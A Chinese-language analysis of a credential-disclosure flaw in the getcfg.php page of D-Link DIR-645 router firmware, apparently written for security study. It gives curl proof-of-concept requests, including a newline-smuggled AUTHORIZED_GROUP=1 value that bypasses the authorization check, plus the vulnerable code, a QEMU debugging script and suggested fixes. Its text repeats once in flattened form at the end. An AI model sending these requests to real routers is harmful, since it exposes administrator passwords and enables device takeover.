Dlink getcfg.php远程敏感信息读取漏洞分析
字数 1105 2025-08-26 22:11:15

D-Link DIR-645 getcfg.php 远程敏感信息读取漏洞分析

漏洞概述

本漏洞影响 D-Link DIR-645 路由器多个固件版本(1.02-1.06),允许攻击者通过构造特殊请求读取设备敏感信息,如管理员账户和密码。漏洞存在于 getcfg.php 文件中,1.02 及之前版本因缺乏权限校验可直接访问,1.03 及之后版本虽增加了权限检查但存在逻辑缺陷可绕过。

漏洞影响版本

  • 1.02 及之前版本:直接访问漏洞
  • 1.03-1.06 版本:权限检查绕过漏洞

漏洞复现

1.02 版本 PoC

curl -d "SERVICES=DEVICE.ACCOUNT" http://xx.xx.xx.xx/getcfg.php

成功响应示例:

<uid>USR-</uid>
<name>admin</name>
<usrid></usrid>
<password>Haan1324</password>

1.03 及之后版本 PoC

curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://xx.xx.xx.xx/getcfg.php"

漏洞分析

1.02 版本分析

文件路径:/htdocs/web/getcfg.php

关键代码:

$SERVICE_COUNT = cut_count($_POST["SERVICES"]);
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT) {
    $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
    TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX.GETCFG_SVC);
    if ($GETCFG_SVC!="") {
        $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
        if (isfile($file)=="1")
            dophp("load", $file);
    }
    $SERVICE_INDEX++;
}

漏洞成因:

  1. 直接接收并处理 SERVICES 参数
  2. 拼接路径 /htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php
  3. 包含并执行该文件导致信息泄露

1.03 及之后版本分析

文件路径仍为 /htdocs/web/getcfg.php,但增加了权限检查:

if(is_power_user() == 1) {
    // 原有处理逻辑
} else {
    echo "\t<result>FAILED</result>\n";
    echo "\t<message>Not authorized</message>\n";
}

is_power_user() 函数:

function is_power_user() {
    if($_GLOBALS["AUTHORIZED_GROUP"]) {
        return 0;
    }
    if($_GLOBALS["AUTHORIZED_GROUP"] < 0) {
        return 0;
    }
    return 1;
}

绕过原理:

  1. PHP 请求由 /htdocs/cgibin 处理
  2. 参数以键值对形式存储,用 \n 分隔
  3. 攻击者可在 POST 数据中插入 \n 伪造 AUTHORIZED_GROUP=1
  4. 由于参数解析顺序,伪造的值会覆盖真实值

cgibin 程序分析

关键流程:

  1. 根据请求方法(POST/GET)选择参数处理函数
  2. 参数以 _TYPE_KEY=VALUE 形式存储,\n 分隔
  3. 权限验证后添加 AUTHORIZED_GROUP=%d 到字符串
  4. 调用 xmldbc_ephp 执行 PHP

漏洞利用点:

  • 参数解析时允许 \n 字符
  • 伪造的 AUTHORIZED_GROUP 会覆盖真实值

动态调试

使用 QEMU 用户模式调试脚本 cgi_run_phpcgi.sh

#!/bin/bash
INPUT=`python -c "print 'SERVICES=DEVICE.ACCOUNT&attack=ture\nAUTHORIZED_GROUP=1'"`
LEN=$(echo $INPUT | wc -c)
PORT="1234"

cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -0 "/phpcgi" \
    -E CONTENT_LENGTH=$LEN \
    -E CONTENT_TYPE="application/x-www-form-urlencoded" \
    -E REQUEST_METHOD="POST" \
    -E REQUEST_URI="/getcfg.php" \
    -E REMOTE_ADDR="127.0.0.1" \
    -g $PORT ./htdocs/cgibin
rm -f ./qemu

调试关键点:

  1. 观察 strobj 结构体中参数存储方式
  2. 验证伪造的 AUTHORIZED_GROUP 如何覆盖真实值

其他受影响文件

/htdocs/webinc/fatlady.php 也存在类似漏洞

修复建议

  1. 严格校验用户输入
  2. 修复参数解析逻辑,禁止特殊字符
  3. 加强权限验证机制

参考链接

  1. D-LINK DIR-645 FIRMWARE 1.02 AUTHENTICATION /GETCFG.PHP SERVICES INFORMATION DISCLOSURE
  2. 相关固件下载链接(见原文)
D-Link DIR-645 getcfg.php 远程敏感信息读取漏洞分析 漏洞概述 本漏洞影响 D-Link DIR-645 路由器多个固件版本(1.02-1.06),允许攻击者通过构造特殊请求读取设备敏感信息,如管理员账户和密码。漏洞存在于 getcfg.php 文件中,1.02 及之前版本因缺乏权限校验可直接访问,1.03 及之后版本虽增加了权限检查但存在逻辑缺陷可绕过。 漏洞影响版本 1.02 及之前版本:直接访问漏洞 1.03-1.06 版本:权限检查绕过漏洞 漏洞复现 1.02 版本 PoC 成功响应示例: 1.03 及之后版本 PoC 漏洞分析 1.02 版本分析 文件路径: /htdocs/web/getcfg.php 关键代码: 漏洞成因: 直接接收并处理 SERVICES 参数 拼接路径 /htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php 包含并执行该文件导致信息泄露 1.03 及之后版本分析 文件路径仍为 /htdocs/web/getcfg.php ,但增加了权限检查: is_power_user() 函数: 绕过原理: PHP 请求由 /htdocs/cgibin 处理 参数以键值对形式存储,用 \n 分隔 攻击者可在 POST 数据中插入 \n 伪造 AUTHORIZED_GROUP=1 由于参数解析顺序,伪造的值会覆盖真实值 cgibin 程序分析 关键流程: 根据请求方法(POST/GET)选择参数处理函数 参数以 _TYPE_KEY=VALUE 形式存储, \n 分隔 权限验证后添加 AUTHORIZED_GROUP=%d 到字符串 调用 xmldbc_ephp 执行 PHP 漏洞利用点: 参数解析时允许 \n 字符 伪造的 AUTHORIZED_GROUP 会覆盖真实值 动态调试 使用 QEMU 用户模式调试脚本 cgi_run_phpcgi.sh : 调试关键点: 观察 strobj 结构体中参数存储方式 验证伪造的 AUTHORIZED_GROUP 如何覆盖真实值 其他受影响文件 /htdocs/webinc/fatlady.php 也存在类似漏洞 修复建议 严格校验用户输入 修复参数解析逻辑,禁止特殊字符 加强权限验证机制 参考链接 D-LINK DIR-645 FIRMWARE 1.02 AUTHENTICATION /GETCFG.PHP SERVICES INFORMATION DISCLOSURE 相关固件下载链接(见原文)